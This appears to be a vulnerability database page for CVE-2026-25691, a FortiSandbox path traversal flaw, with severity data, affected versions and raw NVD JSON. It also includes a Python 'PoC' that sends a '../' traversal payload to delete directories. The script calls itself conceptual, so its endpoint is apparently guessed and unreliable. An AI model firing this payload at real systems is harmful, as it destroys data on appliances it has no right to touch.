Security Vulnerability Report
中文
CVE-2026-25691 CVSS 6.7 MEDIUM

CVE-2026-25691

Published: 2026-04-14 16:16:38
Last Modified: 2026-04-22 18:55:52

Description

A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox 4.2 all versions, FortiSandbox Cloud 5.0.4, FortiSandbox PaaS 5.0.4 may allow a privileged attacker with super-admin profile and CLI access to delete an arbitrary directory via HTTP crafted requests.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:* - VULNERABLE
FortiSandbox 5.0.0 - 5.0.5
FortiSandbox 4.4.0 - 4.4.8
FortiSandbox 4.2 (所有版本)
FortiSandbox Cloud 5.0.4
FortiSandbox PaaS 5.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target API endpoint for directory management # This is a conceptual example based on the vulnerability description target_url = "https://<target-ip>/api/v1/fs/delete_directory" # Attacker requires Super-Admin privileges (PR:H) and CLI access context headers = { "Authorization": "Bearer <super_admin_token>", "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Payload demonstrating path traversal to delete arbitrary directories # Using '../' to escape the restricted directory payload = { "dir_path": "../../../../../../sensitive_system_config" } try: # Sending the crafted HTTP request response = requests.post(target_url, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Directory may have been deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25691", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:37.623", "lastModified": "2026-04-22T18:55:51.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.5, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox 4.2 all versions, FortiSandbox Cloud 5.0.4, FortiSandbox PaaS 5.0.4 may allow a privileged attacker with super-admin profile and CLI access to delete an arbitrary directory via HTTP crafted requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.4.9", "matchCriteriaId": "B8AB5361-2D05-4368-95CC-20BFED00AEB9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.6", "matchCriteriaId": "3AAEF316-2134-4398-911C-E7532CD3AFF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisandbox_cloud:5.0.4:*:*:*:*:*:*:*", "matchCriteriaId": "E5E86B19-95E8-4107-85DC-EFE47225418C"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-115", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}